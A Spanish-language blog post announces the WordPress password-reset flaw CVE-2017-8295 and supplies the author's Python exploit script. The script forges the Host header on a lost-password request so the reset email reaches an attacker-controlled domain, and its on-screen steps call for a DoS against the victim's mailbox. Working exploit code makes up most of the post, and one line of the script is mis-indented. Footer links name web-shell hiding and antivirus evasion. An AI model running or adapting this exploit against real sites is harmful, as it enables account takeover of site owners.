0-day: WordPress < 4.7.4 - Unauthorized Password Reset Vulnerability


Hola

Después de varios días de inactividad, llegó esta noticia:

https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html

Se trata de una vulnerabilidad 0-day en todas las veriones  de Wordpress <= 4.7.4, que permite obtener el correo con el link para resetear la clave de un usuario, sin tener que estar autenticado.

Para probar desarrollé este código, espero les sirva.


#! /usr/bin/python

import httplib, urllib
import sys

print("""
Wordpress exploit CVE-2017-8295 v1.0 - www.incode.cl

1. Obtener nombre de usuario de wordpress y su email
2. Generar DoS en email del usuario
3. Crear tu correo '[email protected]'

Continuar con el exploit...
""")

url = raw_input("4. Ingresa la URL del Wordpress (ej: http://misitio.com) : ")

if len(url) > 5:

 user = raw_input("5. Ingresa el nombre de usuario WP (ej: admin) : ")
 
 if len(user) <= 1:
  print ("Usuario invalido. Terminado.")
  sys.exit()


 #
 dominio = raw_input("6. Ingresa el dominio de tu servidor de correo (ej: midominio.com) : ")

 if len(dominio) > 4:
  url2 = url + "/wp-login.php?action=lostpassword"
  print("\nEnviando datos a: " + url2 + "\n")
  values = {'user_login' : user, 'redirect_to' : '', 'wp-submit' : 'Get+New+Password'}
 
  data   = urllib.urlencode(values)
  
  headers = { "Content-type": "application/x-www-form-urlencoded", "Content-Length" : str(len(data)), "Host": dominio}  
 
  host = url.replace("http://","").replace("https://","").replace("www.","") + ":80"

  print ("\nConectando con host: " + host)
 
  conn = httplib.HTTPConnection(host)
  conn.request("POST", url2, data, headers)
 
     
     resp = conn.getresponse()
  print("\nHTTP Response: " + str(resp.status))

  print("\nFinalizado\n")  

 else:
  print("Dominio invalido. Terminado.")
 
else:
 print("URL invalida. Terminado.")




Para quienes quieran aportar, les dejo el repositorio:
https://github.com/inc0d3/wordpress

Saludos

Comentarios

Entradas populares de este blog

Desempaquetando Themida 2 (unpacking windows binary) - Análisis de Malware

Ocultando la web shell como una imagen (Apache + PHP)

Evasión de antivirus modernos usando Process Injection - MITRE T1055